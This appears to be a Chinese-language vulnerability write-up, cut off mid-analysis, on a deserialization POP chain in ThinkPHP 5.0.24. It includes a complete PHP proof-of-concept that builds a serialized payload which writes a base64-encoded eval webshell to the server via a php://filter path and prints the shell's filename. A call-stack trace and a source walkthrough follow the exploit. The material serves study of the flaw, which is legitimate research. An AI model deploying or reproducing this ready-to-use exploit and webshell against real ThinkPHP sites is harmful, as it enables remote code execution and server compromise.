1. 概述
总体思路就是先全局搜索可以利用的魔法函数作为入口,比如__destruct,然后再一步步构造pop链往漏洞触发点跳
根据大佬的指点漏洞触发点在thinkphp/library/think/console/Output.php的__call方法
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args); ## 漏洞触发点,这里可以做为跳板,来触发漏洞
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
2. 环境搭建
Windows、PHPStudy(PHP5.6.27)、ThinkPHP5.0.24;
ThinkPHP5.0.24 下载地址如下:
https://www.thinkphp.cn/download/1279.html
搭建好如下图所示:
先来写一个入口函数,将applicationindexcontrollerIndex.php修改为:
<?php
namespace appindexcontroller;
class Index
{
public function index()
{
if(isset($_GET['data'])){
#echo base64_decode($_GET['data']);
#echo '';
#echo 'aaa';
$data = base64_decode($_GET['data']);
unserialize($data);
}else{
highlight_file(__FILE__);
}
#return '*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }';
}
}
至此环境就完全搭建好了。
3. POP链与POC
这里直接上大佬给的POP链图
poc如下:
<?php
namespace thinkprocesspipes;
abstract class Pipes
{
}
use thinkmodelPivot;
class Windows extends Pipes
{
private $files = [];
function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
}
namespace thinkmodel;
use thinkModel;
use thinkconsoleOutput;
use thinkmodelrelationHasOne;
class Pivot extends Model
{
public $parent;
function __construct()
{
$this->append = ["getError" => "getError"];
$this->parent = new Output();
$this->error = new HasOne();
}
}
namespace thinkdb;
use thinkconsoleOutput;
class Query
{
protected $model;
function __construct()
{
$this->model = new Output();
}
}
namespace thinkmodel;
abstract class Relation
{
protected $selfRelation;
protected $query;
}
namespace thinkmodelrelation;
use thinkmodelRelation;
abstract class OneToOne extends Relation
{
protected $bindAttr = [];
}
use thinkdbQuery;
class HasOne extends OneToOne
{
function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = [1 => "file"];
}
}
namespace thinkconsole;
use thinksessiondriverMemcached;
class Output
{
private $handle = null;
protected $styles = [];
function __construct()
{
$this->handle = new Memcached();
$this->styles = ["getAttr"];
}
}
namespace thinksessiondriver;
use thinkcachedriverFile;
class Memcached
{
protected $handler = null;
protected $config = [];
function __construct()
{
$this->handler = new File();
$this->config = [
'session_name' => '',
'expire' => null,
];
}
}
namespace thinkcachedriver;
class File
{
protected $options = [];
protected $tag;
function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path'=>'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "/../");
$filename = urlencode(substr($filename, $pos + strlen("/../")));
return $filename . $name . ".php";
}
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));#payload
echo "n";
$f = new File();
echo $f->get_filename();#获取shell的文件名
这里我自己也整理了一下poc画成了图的形式,方便理解
整个的一个调用栈为
index.php:8, appindexcontrollerIndex->index()
Windows.php:59, thinkprocesspipesWindows->__destruct()
Windows.php:163, thinkprocesspipesWindows->removeFiles()
Windows.php:163, file_exists()
Model.php:2267, thinkModel->__toString()
Model.php:936, thinkModel->toJson()
Model.php:912, thinkModel->toArray()
Output.php:212, thinkconsoleOutput->__call()
Model.php:912, thinkconsoleOutput->getAttr()
Output.php:212, call_user_func_array()
Output.php:124, thinkconsoleOutput->block()
Output.php:143, thinkconsoleOutput->writeln()
Output.php:154, thinkconsoleOutput->write()
Memcache.php:94, thinksessiondriverMemcache->write()
File.php:160, thinkcachedriverFile->set()
File.php:160, thinkcachedriverFile->set()
4. 漏洞分析
起点是thinkphp/library/think/process/pipes/Windows.php的removeFiles
方法
public function __destruct()
{
$this->close();
$this->removeFiles();
}
跟进removeFiles
方法
private function removeFiles()
{
foreach ($this->files as $filename) {
#var_dump($filename);
#die();
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
跳板:可以看到里面有个file_exists判断,$filename为$this->files所以我们可控,如果$filename为一个对象,那么就会触发这个对象的__tostring方法
全局搜索__tostring方法,这里我们选择model类的tostring方法
但是呢因为这里的model是一个抽象类,其意义在于被扩展,所以我们不能让$this->files=new model,全局搜索一下看谁继承了model类
可以看到一共有两个,随便选一个即可,这里我选择的是pivot类
所以$this->files=[new Pivot()]
因此从上面的file_exists,我们就跳到了model类的tostring方法
跟进tojson方法
model.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
#echo '123';
#die();
return json_encode($this->toArray(), $options);
}
跟进toarray方法
model.php
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
进入到toarray方法后,现在就应该考虑如何调用漏洞触发点即如何调用Output.__call()
这块一共有三处可以调用__call方法,根据大佬提示,这里我们选择第三处
如果我们找这一处